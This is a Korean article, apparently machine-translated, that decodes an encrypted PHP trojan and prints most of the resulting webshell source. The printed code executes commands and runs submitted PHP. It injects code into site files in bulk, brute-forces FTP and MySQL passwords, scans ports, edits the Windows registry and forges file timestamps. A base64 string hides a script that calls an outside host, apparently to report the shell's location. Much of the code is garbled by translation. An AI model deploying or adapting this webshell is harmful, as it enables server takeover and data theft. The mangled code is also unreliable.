>  기사  >  백엔드 개발  >  암호화 크래킹 PHP 트로이 목마 분석 암호화 크래킹

암호화 크래킹 PHP 트로이 목마 분석 암호화 크래킹

WBOY
WBOY원래의
2016-07-29 08:39:4911596검색

분석 결과 이 ​​트로이 목마는 base64로 인코딩된 후 압축된 것으로 나타났습니다. 관련 기밀 유지 조치를 취했지만 PHP 코드를 실행해야 하며 결국 PHP 소스 코드가 생성되므로 이를 디코딩하고 압축을 풀고 파일에 쓰기 위해 다음 PHP 프로그램을 작성합니다.
복호화 및 압축해제 코드는 다음과 같습니다.

코드 복사 코드는 다음과 같습니다.


function writetofile ($filename, $data)
{ //파일 쓰기
$filenum=@fopen($filename,"w")
if (!$filenum) {
return false;
flock($filenum,LOCK_EX);
$file_data=fwrite($filenum,$data);
fclose($filenum); 🎜>}
?>


그런 다음 php 환경에서 실행하면 다음과 같은 php 일반 텍스트 파일을 얻을 수 있습니다.



복사 코드

코드는 다음과 같습니다.


error_reporting(7);
ob_start();
$mtime = 폭발(' ', microtime())
$starttime = $mtime[1] $mtime[0] ;
@set_time_limit(0);
//비안전 모드에서는 타임아웃 후 취소할 수 있습니다.
/*====================== 프로그램 구성===================== =* /
// 비밀번호 확인이 필요한지 여부, 1은 확인이 필요함을 의미하고, 다른 숫자는 직접 입력을 의미합니다.
$admin['check'] = "1"; / 비밀번호 확인이 필요한 경우 로그인 비밀번호를 변경하세요
//기본 포트 테이블
$hidden = "44997"
$admin['port'] = "80,139,21,3389,3306, 43958,1433,5631";
//점프에 사용되는 두 번째
$admin['jumpsecond'] = "1";
//Ftp 크래킹에 사용되는 연결 포트
$alexa = "yes";
/ /Alexa 순위 표시 여부, 예 또는 아니요
$admin['ftpport'] = "21"
// phpspy 자체에서 시간을 자동으로 수정하도록 허용할지 여부; 파일을 생성 시간에 맞게 편집했습니다(예/아니요)
$retime = "no";
// Linux 시스템의 경우 기본 cmd.exe 위치를 사용합니다. winnt 시스템이므로 프로그램에서 지정할 수 있습니다.)
$cmd = "cmd.exe";
// 아래는 phpspy에서 많이 사용하는 키워드로 표시되는 저작권 항목입니다. 죽이는 프로그램 유한~~ 커스터마이징을 허용합니다.그래도 이해가 안가시면 바꾸지 마세요~~
/*====================== 구성 끝 ======= ======== ======*/
$serveru = $_SERVER ['HTTP_HOST'].$_SERVER['PHP_SELF']
$serverp = $admin['pass' ];
$copyurl = base64_decode('PHNjcmlwdCBzcmM9J2h0dHA6Ly8lMzglNjMlNjMlNjUlMkUlNjMlNkYlNkQvJTYzJTY1JTcyJTc0Lz9jZXJ0PTEzJnU9'); decode('Jz48L3Njc mlwdD4=');
$onoff = (function_exists('ini_get')) ? ini_get('register_globals' ) : get_cfg_var('register_globals');
if ($onoff != 1) {@extract($_POST, EXTR_SKIP);@extract($_GET, EXTR_SKIP);}
$self = $_SERVER[' PHP_SELF'];$dis_func = get_cfg_var( "disable_functions")
/*=================== 인증========= ========= ====*/
if($admin['check'] == "1") {if ($_GET['action'] == "로그아웃") { setcookie ("adminpass", "") ;echo "로그아웃 성공...3초 후에 자동으로 종료하거나 여기를 클릭하여 프로그램 인터페이스를 종료합니다>>> ";exit;}
if ($_POST['do'] == '로그인') {$thepass=trim($_POST['adminpass']);if ($admin['pass'] == $ thepass) {setcookie (" adminpass",$thepass,time() (1*24*3600));echo "";exit;}}if (isset($_COOKIE['adminpass'])) {if ($_COOKIE['adminpass'] != $admin['pass' ]) {loginpage() ;}} else {loginpage();}}
/*====================== 인증 종료 ==== ======= ===========*/
// Magic_quotes_gpc 상태 확인
if (get_magic_quotes_gpc()) {$_GET = Stripslashes_array($_GET);$_POST = Stripslashes_array ($_POST);}
//mix.dll 코드
$mixdll = "7Zt/TBNnGMfflrqBFnaesBmyZMcCxs2k46pumo2IQjc3wSEgUKYthV6hDAocV6dDF5aum82FRBaIHoRlRl0y3Bb/cIkumnVixOIE/cMMF ePxW1Ix ah1yLBwe 5aH Ma5JcsWs T5JE f9/m z/u8z73HP9cruaXbSAwhRACmy4QcIBEyyd8zCJbw1FcJZH/cyZQDmpyTKYVvzkamnq r5G21TIXN5aoTmHKO4d0uxulisl8vYGrr7JwhPn5marTG4ozM3oZ1hrYpk7JS 2wR1/ Fzb2 DnZGWosZSV1lav mfbePD5zooqJf9BveWZCMnR6Ah/MmfFlHaRJKTM0jxCCAVBekQbmE0iMaOGlDqmIuehiZ5LpGA0D9BGUyMxdVdXy6YQskXxTGTJA8kkJPuv5h8Ec7f1P8UgcBsF8B9 qow1N2 b0lygy83SbYCPlcExGmncH0FjMNkTRyVMlJ/ ec3bQ8v4HnauoqCKmJCmpe5n15KwiCIAiCIAiCIAjyUBCzU2PFTJ1nCRGM4kqdNyAsKCr eitLKE9AXui/ cXt0wt 26cRT4u3xc2pid9c0Yb2iH2eSzGh 3VZLD6zWHSOa3sxYBmoZ/T3berbdy1r x6rtXd8PDY0FRsWjSiytjxdm 9nWTshyN1ujy5SRYTnmO6nymMc9hZY64Z4qmuVB5oT9YKeZSvtxbLe12mMiv0sKD7ZAddnOIprG8oUIYpSlfXCyWJNB83 jKldItSZM0QS1RdknymsENsV6Ycv qSxdEKJpvCuCfAtMyj4lC KpltWyxviT t7vpXT5kM3clqq snAp3JGXr87YemMfXAu7xjkeMWL8XOVrsc0Ypwvfj8I7mVVzbChnJQIutdv3nVIEXVwCQ4PQ3YqUZUOdquC52dq1wEIh4aV flWq2RzMgD2Wqmlev5AuxisZRS0N4R ev87SYAHfmUfm0Ou25pgsO58lJemX/NEUhZku1puSinsBxF4jrY4tEt75Y3EJ5R91xngylPgnO80xqhBmeSa376Z3 yCZxxUUF8ikY6GEwlCTLMrSgNLxaiQugOV jjM ndetBfKM4rGLoBR gdVcrEuOcpSR cn1UUxKSa9Z4ueCLOnaseqtWEx3Gc42vXQnJxGKR1vTo3VuOd4MpREuNGykKqTkwjMRC4BQRAEQRAEQRAE S YZCL EPhTYINGl8GuRfVGQprjwGaBKfHHzB9r98EY 아니요/J1mnaURgrXwY0T9OSU8h975b/6f7FBU brQqPBXlNDSIbWJtQ5CcktKMrKL4xoFq2D5zhCHtNYnS6nIHB8LWnV1tpq1LfTXcRqs1e7GwWrw 7cQMh6ku1stJXXcIVVPGez5zjLeRu/KQuyG8kq U/5qU87UXtOZ k3BhpTIbwRiolYCsR2sH qyMIiQPTHkP3gyxCNalnAOs0JJc89rsl9XCuc6NFXUuF1chTBta7ZzS/HRFjREEQRAEQRAEQRDkXyJIlb62MOA4aNU0L5op/TgenDEULGW5vkySpJ6JJZ Co8 izrfRyengPPfLBpY5q peDHeX0dy3dwkD/cfo TGL8Z2u6vXjbS6j WbOk611TvP9ZLF9IXDneUrtzYUdKdJ9Ot9AVvR2nJxs6OelrqKKUraFeydTv9aqjD3zACGyVb204MOPq5Hnq5Io0pkvsHu jbk81NdTzSVB4DQjlCno7 WXk717qR6 91C9Z2XLhS937Eg87wsMdJvVjEAgsX PpXP81oR0IuDob7B81ClJn1nOd /0sSTtCvv4 R78NjIM5d7d58ZPmq2XHTwz0OVb1 I1Nb3WbSxs6HQ7H fBIIDg6PjgxEQwPD0vfB8NjI2FFgW hQOnfp sjJG6BNSGdGxybOXL8THateHJSuDe891r1X6u8b7BsdvxkeGZT GR2/fDo PSOO/jg6Hh1VRIqSkpGT MwzPNbidPNfI2JhGgXe6Khmbyw7GOF0CV8nxD/uvA0EQBEEQBEEQBPnfQkX D/3x9PfTQ
function shelL($command){
global $windows,$disablefunctions;
$exec = '';$출력= '';
$dep[]= array('pipe','r');$dep[]=array('pipe','w')
if(is_callable('passthru') && !strstr($disablefunctions,'passthru')) { @ob_start();passthru($command);$exec=@ob_get_contents();@ob_clean();@ob_end_clean();}
elseif(is_callable(' system') && !strstr($disablefunctions,' system')){$tmp = @ob_get_contents();system($command) ; $output = @ob_clean(); = $tmp; }
elseif(is_callable ('exec') && !strstr($disablefunctions,'exec')) {exec($command,$output);$output = Join("n",$output) ;$exec= $output;}
elseif(is_callable('shell_exec') && !strstr($disablefunctions,'shell_exec')){$exec= shell_exec($command);}
elseif(is_resource($ 출력=popen($command,"r") )) {while(!feof($output)){$exec= fgets($output);}pclose($output);}
elseif(is_resource($res) =proc_open($command,$dep,$pipes ))){while(!feof($pipes[1])){$line = fgets($pipes[1]) $output.=$line;}$exec = $output;proc_close($res);}
elseif ($windows && is_object($ws = new COM("WScript.Shell"))){$dir=(isset($_SERVER["TEMP"]))?$_SERVER["TEMP"]:ini_get ('upload_tmp_dir') ;$name = $_SERVER["TEMP"].name();$ws->Run("cmd.exe /C $command >$name", 0, true);$exec = file_get_contents($name);unlink($name);}
return $exec;
}
// PHPINFO 보기
if ($_GET['action'] == "phpinfo") { echo $phpinfo=(!eregi("phpinfo",$dis_func)) ? phpinfo(): "phpinfo() 함수가 비활성화되었습니다. 를 확인하세요.";exit; $ _GET['action'] == "nowuser") {$user = get_current_user();
if(!$user) $user = "사장님께 보고해보니 호스트가 비정상이라 현재 사용자 이름을 알 수 없습니다. !";
echo "현재 프로세스 사용자 이름: $user";
exit;
}
if(isset($_POST['phpcode'])){eval("?"."> ;$_POST[ phpcode]}
if($action=="mysqldown"){
$link=@mysql_connect($host,$user,$password) ;
if (!$link) {
        $downtmp = '데이터베이스 연결 실패: ' . mysql_error() ";
$result = @mysql_query($query, $link);
if (!$result){
$downtmp = "읽기에 실패했습니다. 파일이 존재하지 않거나 파일 권한이 없을 수 있습니다.
".mysql_error();
            }else{
    while ($row = mysql_fetch_array($result)) {
        $filename = 기본 이름($filename);
        if($rardown =="예"){
           $zip = 새로운 Zip
          $zipfiles[]=Array("$filename",$row[0])
          $zip->Add($zipfiles) ,1);
           $code = $zip->get_file()
           $filename = "".$filename.".rar"
        }else{
          $code = $row [0];
        }
        header("콘텐츠 유형: 애플리케이션/옥텟-스트림")
        header("Accept-Ranges: bytes")
        header("Accept-Length: ".strlen($code));
        header("Content-Disposition: attachment;filename=$filename");
        echo($code);
        exit;
    }
    }
    }
}
// 在线代理
if (isset($_POST['url'])) {$proxycontents = @file_get_contents($_POST['url']);echo ($ Proxycontents) ? $proxycontents : "


获取 URL 内容失败

";exit;
}
// 下载文件
if (!empty($downfile)) {if (!@file_exists($downfile)) {echo "";} else {$filename = basename($downfile);$filename_info =explod('.', $filename);$fileext = $filename_info[count($filename_info)-1];header('콘텐츠 유형: application/x-'.$fileext);header('콘텐츠 처리: attachment; filename='.$filename.'');header('콘텐츠 설명: PHP 생성 데이터');header('콘텐츠 길이: '.filesize($downfile));@readfile($downfile);exit ;}
}
// 直接下载备份数据库
if ($_POST['backuptype'] == 'download') {
    @mysql_connect($servername,$dbusername,$dbpassword) 또는 die("数据库连接失败");
    @mysql_select_db($dbname) 또는 die("选择数据库失败");    
    $table = array_flip($_POST['table']);
    $result = mysql_query("SHOW 테이블");
    에코($result) ? NULL: "출현: ".mysql_error();
    $filename = basename($_SERVER['HTTP_HOST']."_MySQL.sql");
    header('콘텐츠 유형: 애플리케이션/알 수 없음');
    header('Content-Disposition: attachment; filename='.$filename);
    $mysqldata = '';
    while ($currow = mysql_fetch_array($result)) {
        if (isset($table[$currow[0]])) {
           $mysqldata.= sqldumptable($currow[0]);
            $mysqldata.= $mysqldata."rn";
        }
    }
    mysql_close();
    종료;
}
// 程序目录
$pathname=str_replace('\','/',dirname(__FILE__));
$dirpath=str_replace('\','/',$_SERVER["DOCUMENT_ROOT"]);
// 获取当前路径
if (!isset($dir) 또는 비어 있음($dir)) {
    $dir = ".";
    $nowpath = getPath($pathname, $dir);
} else {
    $dir=$_GET['dir'];
    $nowpath = getPath($pathname, $dir);
}
// 判断读写情况
$dir_writeable = (dir_writeable($nowpath)) ? "可写" : "불요";
$phpinfo=(!eregi("phpinfo",$dis_func)) ? " | PHPINFO()>" : "";
$reg = (substr(PHP_OS, 0, 3) == 'WIN') ? " |
注册表操작" : "";
$tb = 새로운 양식;
?>

<머리>
body,td{font-size: 12px;Background-color:#000000;color:#eee;
여백: 1px;여백-왼쪽:1px;
스크롤바-얼굴-색상: #232323; 스크롤바-하이라이트-색상: #232323;
스크롤바-그림자-색상: #383838; 스크롤바-DARKSHADOW-색상: #383838;
스크롤바-3DLIGHT-COLOR: #232323; 스크롤바-화살표-색상: #FFFFFF;
스크롤바-트랙-색상: #383838;}
a{color:#ddd;텍스트-장식: 없음;}a:hover{color:red;배경:#000}
.smlfont {
    글꼴 모음: "Verdana", "Tahoma", "宋体";
    글꼴 크기: "11px";
}
.INPUT {
    글꼴 크기: "12px";
    색상: "#000000";
    배경색: "#FFFFFF";
    높이: "18px";
    테두리: "1px 단색 #666666";
    왼쪽 여백: "2px";
}
.redfont {COLOR: "#CA0000";}
.top {BACKGROUND-COLOR: "#CCCCCC"}
.firstalt {BACKGROUND-COLOR: "#EFEFEF"}
.secondalt {BACKGROUND-COLOR: "#F5F5F5"}


<?php echo"$myneme"?>


/ /$_SERVER["DOCUMENT_ROOT"]
$tb->tableheader()
$tb->tdbody('
'.$_SERVER['HTTP_HOST'].' '.date("Y年m月d日 h:i:s",time()).''.gethostbyname($_SERVER[ 'SERVER_NAME']).'
','center','top')
$tb->tdbody('< ;a href="?dir='.$dirpath.'" href="?dir='.$dirpath.'">根目录 Shell目录 环境变weight 현재 관리'.$reg.$phpinfo.' WebShell | 杂项破解 | 解压mix.dll | 注销登录');
$tb->tdbody('批weight挂马 | Http文件下载 | 文件查找 | 执行php脚本 | 执行SQL语句 | Func反弹Shell MySQL 지원 ">Serv-U权');
$tb->tablefooter();
?>



$tb->headerform(array('method'=>'GET','content'=>'

程序路径: '.$pathname.'
当前目录(' .$dir_writeable.','.substr(base_convert(@fileperms($nowpath),10,8),-4).'): '.$nowpath.'
跳转目录: '.$tb- >makeinput('dir',''.$nowpath.'','','text','80').' '.$tb->makeinput('','确정','',' 제출').'));
$tb->headerform(array('action'=>'?dir='.urlencode($dir),'enctype'=>'multipart/form-data','content'=> '上传文件到当前目录: '.$tb->makeinput('uploadfile','','','file').'.$tb->makeinput('doupfile','确定',' ','제출').$tb->makeinput('uploaddir',$dir,'','hidden')));
$tb->headerform(array('action'=>'?action=editfile&dir='.urlencode($dir),'content'=>'New建文件在当前目录: '.$tb- >makeinput('editfile').' '.$tb->makeinput('createfile','确결정','','submit')));
$tb->headerform(array('content'=>'新建目录在当前目录: '.$tb->makeinput('newdirectory').' '.$tb->makeinput(' createdirectory','确결정','','제출')));
?>



/*===================== 执行操作 开始 ============== =======*/
echo "

n";
// 删除文件
if (!empty($delfile)) {
    if (file_exists($delfile)) {
        echo (@unlink($delfile)) ? $delfile." 删除成功!" : "文件删除失败!";
    } else {
        echo 기본 이름($delfile)." 文件已不存재!";
    }
}
// 删除目录
elseif (!empty($deldir)) {
    $deldirs="$dir/$deldir";
    if (!file_exists("$deldirs")) {
        echo "$deldir 目录已不存재!";
    } else {
        echo (deltree($deldirs)) ? "目录删除成功!" : "目录删除失败!";
    }
}
//디렉토리 생성
elseif (($createdirectory) AND !empty($_POST['newdirectory'])) {
if (!empty($newdirectory)) {
$mkdirs=" $dir/$newdirectory";
if (file_exists("$mkdirs")) {
echo "디렉토리가 이미 존재합니다!";
echo } else {
echo (@mkdir("$ mkdirs ",0777)) ? "디렉터리 생성에 성공했습니다!" : "만들기에 실패했습니다!";
                                                                                                                 파일 업로드
elseif ($doupfile) {
echo (@copy($_FILES['uploadfile'][ 'tmp_name'],"".$uploaddir."/".$_FILES['uploadfile'][ 'name']."")) ? "업로드 성공!" : "업로드 실패!" 🎜>elseif($action=="mysqlup"){
$filename = $_FILES[' upfile']['tmp_name']
if(!$filename) {
echo "선택한 파일이 없습니다. 업로드하려면...";
}else{
$shell = file_get_contents($filename );
$mysql = bin2hex($shell);
if(!$upname) $upname = $ _FILES['upfile']['name'];
$shell = ".$database."에서 DUMPFILE '".$uppath."/".$upname."을 선택합니다. ';";
$link=@mysql_connect($host,$user,$password);
if(!$link){
echo "로그인 실패".mysql_error();
} else{
$result = mysql_query($shell, $link);
if($ result){
    echo" 작업이 성공했습니다. 파일이 ".$host."에 성공적으로 업로드되었습니다. 파일 이름은 ".$uppath."/".$upname."..";
   }else{
echo"업로드 실패 이유: ".mysql_error();
y ($downtmp )) echo $downtmp;
}
// 파일 편집
elseif ($_POST['do'] == 'doeditfile') {
if (!empty($_POST[ 'editfilename' ])) {
if(!file_exists($editfilename)) unset($retime)
if($time==$now) $time = @filemtime($editfilename)
$time2 = @date("Y-m-d H:i:s",$time);
$filename="$editfilename"
@$fp=fopen("$filename","w"); ($_POST['change']=="예"){
$filecontent = "?".">".$_POST['filecontent']."$filecontent = base64_encode($filecontent);
$filecontent = "";
         }else{
         $filecontent = $_POST['filecontent']; @fwrite($fp,$filecontent) ? "파일이 성공적으로 작성되었습니다! " : "쓰기 실패!";
           @fclose($fp); 🎜>echo" Yuyu 자동 작업:";
echo $msg=@touch($filename,$time) ? "파일을 다음으로 수정하세요. ".$time2." 성공!": "파일 시간 수정에 실패했습니다!";
        }
     } else {
              echo "수정할 파일 이름을 입력하세요!"; do'] == '다운로드') {
$contents = @file_get_contents($_POST['durl'])
if(!$contents){
echo"다운로드할 데이터를 읽을 수 없습니다.";
}
elseif(file_exists($path)){
echo"죄송합니다. ".$path." 파일이 이미 존재합니다. 저장 파일 이름을 변경하세요.";
}else{
$fp = @fopen($path,"w");
echo $msg=@fwrite($fp,$contents) ? "파일이 성공적으로 다운로드되었습니다!" : " 다운로드 파일을 쓰지 못했습니다!";
@fclose($fp);
}
}
elseif($_POST['action']=="mix"){
if ( !file_exists($_POST['mixto'])){
$tmp = base64_decode($mixdll);
$tmp = gzinflate($tmp)
$fp = fopen($_POST[' mixto '],"w");
echo $msg=@fwrite($fp,$tmp) ? "압축 해제에 성공했습니다!": "이 디렉토리는 쓸 수 없나요? !";
fclose($fp);
}else{
echo"그렇지 않나요?".$_POST['mixto']."이미 존재합니다~";
}
}
// 파일 속성 편집
elseif ($_POST['do'] == 'editfileperm ') {
if (!empty($_POST['fileperm'])) {
$fileperm=base_convert($_POST['fileperm'],8,10)
echo (@chmod( $dir ."/".$file,$fileperm)) ? "속성이 성공적으로 수정되었습니다!": "수정에 실패했습니다!"
   echo "파일 ".$file." 수정된 속성은 ".substr( base_convert(@ fileperms($dir."/".$file),10,8),-4);
} else {
      echo "설정하려는 속성을 입력하세요!"
}
}
//파일 이름 바꾸기
elseif ($_POST['do'] == 'rename') {
if (!empty($_POST['newname'])) {
          $ newname=$_POST['dir']."/".$_POST['newname'];
                                                                    `` 수정 실패!";
        }
       } else {
            echo "변경하려는 파일 이름을 입력하세요. !";
}
}
elseif ($_POST[' do'] == 'search') {
if(!empty($oldkey)){
echo" 검색 키워드: [".$oldkey."], 검색 결과는 다음과 같습니다: ";
if($type2 == "getpath"){
echo" mouse move 결과 파일에 부분 차단이 표시됩니다.";
}
echo"


";
find($path) ;
}else{
cho "새우를 확인하고 싶으신가요? 새우를 확인하고 싶으신가요?";
}
}
elseif ($_GET[' action']=='plgmok') {
dirtree( $_POST['dir'],$_POST['mm']);
}
elseif ($_GET['action'] == "plgm") {
$action = '?action= plgmok';
$gm = ""
$tb- >tableheader();
$tb->formheader($action,'일괄 마운트 말')
$tb->tdbody ('웹사이트 일괄 말 탑재 프로그램 php 버전','center' );
$tb->tdbody('파일 위치: '.$tb->makeinput('dir',''.$_SERVER[" DOCUMENT_ROOT"].'','','text', '60').'
연결할 코드:'.$tb->maketextarea('mm',$gm,'50','5 ').''.$tb->makehidden( 'do','일괄 말 매달기').'
'.$tb->makeinput('submit','말 매달기 시작','' ,'submit'),'center','1' ,'35');
echo "";
$tb->tablefooter()
}//end plgm
// 복제 시간
elseif ( $_POST['do'] == 'domodtime') {
if (!@file_exists($_POST['curfile'])) {
echo "수정할 파일이 존재하지 않습니다!"; 🎜>} else {
if (! @File_exists ($ _ post ['tarfile'])) {
echo " 🎜>          } else {
                   $time=@filemtime($_POST['tarfile' ]); _POST['curfile'])." 수정 시간이 ".date("Y-m-d H:i:s",$time)으로 변경되었습니다." !" : "파일 수정 시간이 실패했습니다!" ;
}
}
}
// 맞춤 시간
elseif ($_POST['do'] == 'modmytime') {
if (!@file_exists($_POST ['curfile' ])) {
echo "수정하려는 파일이 존재하지 않습니다!"
}else {
$year=$_POST['연도']
$m
$data=$_POST['data'] $hour=$_POST['hour']; =$_POST['분'];
$sec
if (!empty($year) AND !empty($month) AND !empty($data) AND !empty($hour) AND !empty( $분) 및 !비어 있음($초)) {
                                                                               $_POST['curfile'],$time,$time) ) ? basename($_POST['curfile'])."의 수정 시간이 성공적으로 변경되었습니다. ".date("Y-m-d H:i:s",$time) ." !" : "파일 수정 시간을 수정하지 못했습니다!";
                                                                                                                                             ,",$port);
$count = count($tmp);
for($i=$first;$i<$count;$i ){
$fp = @fsockopen($ 호스트, $ TMP [$ i], $ ERRNO, $ EERSTR, 1);
IF ($ FP) Echo ".$ Host." 호스트가 ".$ tmp [$ i]" 포트를 열었습니다.
}
}
/*
여기 코드는 솔직히 말해서 내가 뭘 썼는지조차 모르겠습니다.
다행히 효과가 있으니 별 신경 안쓰고 누가 보면 그냥 다시 쓰겠습니다. */
elseif ($do == 'crack') {//어쨌든 전역 변수로 등록되었습니다.
if(@file_exists($passfile)){
$tmp = file($passfile);
$count = count($tmp)
if(empty($onetime)){
                                                                 🎜>         $ tt = intval(($count/$onetime) 1)
     ~                                                                      프로세스가 실패하여 죄송합니다.";
            }else{
               $first = $onetime*($turn-1);
              for($i=$first;$i<$now;$i ){
                    만약( $ctype=="mysql") $sa = @mysql_connect($host,$user,chop($tmp[$i]))
                 else $sa = @ftp_login(ftp_connect($host,$admin[ftpport ]),$user,chop($tmp[$i])));
               if($sa)
                 {
                $t = "获取".$user."的密码为".$tmp [$i]."";
                   }
            }
          if(!$t){
              echo "    mysql_close();
}
// 备份操작품
elseif ($_POST['do' ] == 'backupmysql') {
    if (비어 있음($_POST['table']) OR 비어 있음($_POST['backuptype'])) {
        echo "请选择欲备份的数据表화备份方式!";
    } else {
        if ($_POST['backuptype'] == 'server') {
           @mysql_connect($servername,$dbusername,$dbpassword) 또는 die("数据库连接失败");
            @mysql_select_db($dbname) 또는 die("选择数据库失败");    
            $table = array_flip($_POST['table']);
            $filehandle = @fopen($path,"w");
            if ($filehandle) {
               $result = mysql_query("SHOW tables");
                에코($result) ? NULL: "출현: ".mysql_error();
               while ($currow = mysql_fetch_array($result)) {
                  if (isset($table[$currow[0]])) {
                      sqldumptable($cur 행[0], $filehandle);
                       fwrite($filehandle,"nnn");
                   }
               }
               fclose($filehandle);
               echo "数据库已成功备份到
".$path."";
                mysql_close();
            } else {
               echo "备份失败,请确认目标文件夹是否具有可写权限!";
            }
        }
    }
}
elseif($downrar) {
if (!empty($dl)) {
if(eregi("unzipto:",$localfile)){
$path = "".$dir ."/".str_replace("unzipto:","",$localfile)."";
$zip = 새 우편번호
$zipfile=$dir."/".$dl[0];
$array=$zip->get_list($zipfile)
$count=count($array)
$f=0
$d=0; $i=0;$i<$count;$i ) {
                                                                                  경로 ,$i)>0) $f ; ".$path."성공
($f 파일$d 디렉토리)";
elseif($f==0) echo "$dl[0]이 ".$path"로 압축을 풀지 못했습니다. “; 🎜> $zip = new Zip;
for($k=0;isset( $dl[$k]);$k )
{
$zipfile=$dir."/".$dl [$k]
                                                                                                             
for($i= 0;$ zipfilearray[$i];$i )
                                                                                      $ zipfilearray[$i ]); 🎜>                                                                                                    $filename=$dl[$k]
$filesize=@filesize($zipfile)
             $fp =@fopen($zipfile,rb);
                                                                        
        $zip->추가($zipfiles,1);
        $code = $zip->get_file();
        $ck = "_QQ44997_".date("연월일",time())."";
        if(empty($localfile)){
        header("콘텐츠 유형: 애플리케이션/옥텟-스트림");
        header("Accept-Ranges: bytes");
        header("Accept-Length: ".strlen($code));
        header("Content-Disposition: attachment;filename=".$_SERVER['HTTP_HOST']."".$ck."_Files.zip");
        에코 $코드;
        종료;
        }else{
         $fp = @fopen("".$dir."/".$localfile."","w");
         echo $msg=@fwrite($fp,$code) ? "压缩保存".$dir."/".$localfile."本地成功!!" : "Directory".$dir."쓰기 권한이 없습니다!";
             @fclose($fp);                                  다운로드한 파일을 압축하세요!";
}
}
// Shell.Application 프로그램 실행
elseif(($_POST['do'] == 'programrun') AND !empty($_POST ['program'])) {
$shell= &new COM('Sh'.' el'.'l.Appl'.'ica'.'tion');
$a = $shell-> ;ShellExecute($_POST['program'],$_POST['prog'])
echo ($a=='0') ? "프로그램이 성공적으로 실행되었습니다!": "프로그램을 실행하지 못했습니다!"
// PHP 구성 매개변수 상태 보기
elseif( ($_POST['do'] == 'viewphpvar') AND !empty($_POST['phpvarname'])) {
echo "구성 매개변수".$_POST['phpvarname']." 탐지 결과: " .getphpcfg($_POST['phpvarname'])."";
}
// 레지스트리 읽기
elseif (($regread) AND !empty($_POST['readregname'])) {
$shell= &new COM('WSc'.'rip'.'t.Sh'.'ell')
var_dump(@$shell->RegRead($_POST['readregname'])) ;
}
// 레지스트리에 쓰기
elseif(($regwrite) AND !empty($_POST[' writeregname']) AND !empty($_POST['regtype']) AND !empty ($_POST['regval'])) {
$shell= &new COM('W'.'Scr'.'ipt.S'.'hell')
$a = @$shell-> ;RegWrite($_POST['writeregname'], $_POST['regval'], $_POST['regtype']);
echo ($a=='0') ? "레지스트리 키 값을 성공적으로 기록했습니다!" : "".$_POST['regname'].", ".$_POST['regval'].", " .$_POST['regtype']." 쓰기 실패!"
}
/ / 레지스트리 삭제
elseif(($regdelete) AND !empty($_POST['delregname'])) {
$shell= &new COM('WS'.'cri'.'pt.S'.' he'.'ll');
$a = @$shell->RegDelete($_POST['delregname '])
echo ($a=='0') "레지스트리 키를 삭제했습니다. !" : "".$_POST['delregname'] 삭제." 실패!";
}
else {
echo "$notice";
echo "프로그램 < a href="" href="""?dir=C:/문서 및 설정/모든 사용자/응용 프로그램 데이터 /Symantec/pcAnywhere">pcAnywhere | 프로그램 시작 C:/Program Files/RhinoSoft.com/Serv-U">Serv-U for ($i=66;$i<=90;$i ){$drive= chr ($i).':';
if (is_dir($drive."/" )){$vol=shelL("vol $drive");if(empty($vol))$vol=$drive ;echo "
$drive\";}
}
}
echo "

n";
/*===================== 执行操作 结束 ===================== */
if (!isset($_GET['action']) OR 비어 있음($_GET['action']) OR ($_GET['action'] == "dir")) {
    $ tb->테이블헤더();
?>


    






// 目录列表
$dirs=@opendir($dir);
$dir_i = '0';
while ($file=@readdir($dirs)) {
    $filepath="$dir/$file";
    $a=@is_dir($filepath);
    if($a=="1"){
        if($file!=".." && $file!=".")    {
           $ctime=@date("Y-m-d H: i:s",@filectime($filepath));
            $mtime=@date("Y-m-d H:i:s",@filemtime($filepath));
            $dirperm=substr(base_convert(fileperms($filepath),10,8),-4);
            에코 "n";
            echo " [$file]            echo " n";
            echo " n";
            echo " n";
            echo " n";
            echo " n";
            echo "n";
           $dir_i ;
        } else {
            if($file=="..") {
               echo "n";
               echo " n"
              echo "n" ;
            }
        }
    }
}// 동안
@closedir($dirs);
?>



// 文件列表
$dirs=@opendir($dir);
$file_i = '0';
while ($file=@readdir($dirs)) {
    $filepath="$dir/$file";
    $a=@is_dir($filepath);
    if($a=="0"){        
        $size=@filesize($filepath);
        $size=$size/1024 ;
        $size= @number_format($size, 3);
        if (@filectime($filepath) == @filemtime($filepath)) {
           $ctime=@date("Y-m-d H:i:s",@filectime($filepath));
            $mtime=@date("Y-m-d H:i:s",@filemtime($filepath));
        } else {
            $ctime="".@date("Y-m-d H:i:s",@filectime($filepath))."            $mtime="".@date("Y-m-d H:i:s",@filemtime($filepath))."";
        }
        @$fileperm=substr(base_convert(@fileperms($filepath),10,8),-4);
        에코 "
n";
        echo " ";
        echo "<입력 유형=체크박스 값=$파일 이름=dl[]>";
        echo "$filen";
        echo "
n";
        echo " n";
        echo " n";
        echo " n";
        echo " n";
        $file_i ;
    }
}// while
@closedir($dirs);
if(get_cfg_var ('safemode'))$z = ""
else $z = "
";
$tb->tdbody('
文件 创建日期 最后修改 대소 属性 操작품
$ctime$mtime검색$dirperm| 删除 | 이름 |
返回上级目录
$ctime$mtime$size KB$fileperm下载 | < ;a href="" href="""?action=editfile&dir=".urlencode($dir)."&editfile=".urlencode($file)."">编辑 ="" href="""#" $file 文件吗?','2')">删除 | 이름 | 时间        echo "
'.$tb->makeinput('chkall','on',' name="change" value="yes" /".$ nowfile);    $tb->makehidden('dir',$dir)
    $tb->tdbody('当前文件name: '.basename($nowfile)); ->tdbody('이름: '.$tb->makeinput('newname'))
    $tb->makehidden('do','rename')
    $tb-> ;formfooter('1','30')
}//이름 변경 종료
elseif ($_GET['action'] == "eval") {
$action = "?dir=".urlencode($dir).""
$tb- >tableheader();
$tb->formheader(''.$action.' "target="_blank' ,'php 스크립트 실행')
$tb->tdbody($tb- >maketextarea('phpcode',$contents));
$tb->formfooter('1','30')
}
elseif ($_GET['action'] == "fileperm") {
$action = "?dir=".urlencode($dir)."&file=".$file
$tb->tableheader()
$tb-> ;formheader($action,'파일 속성 수정');
$tb->tdbody(''.$file.'의 속성을 다음으로 수정합니다: '.$tb->makeinput('fileperm',substr ( base_convert(fileperms($dir.'/'.$file),10,8),-4)))
$tb->makehidden('file',$file)
$tb - >makehidden('dir',urlencode($dir))
$tb->makehidden('do','editfileperm')
$tb->formfooter('1',' 30 ');//end fileperm
elseif ($_GET['action'] == "newtime") {
$action = "?dir=".urlencode($dir); 🎜 > $cachemonth = array('1월'=>1,'2월'=>2,'3월'=>3,'4월'=>4,'5월'=>5,'6월' = >6,'7월'=>7, '8월'=>8, '9월'=>9, '10월'=>10, '11월'=>11, '12월'=> ; 12);
$tb->tableheader();
$tb->formheader($action,'복제된 파일의 마지막 수정 시간')
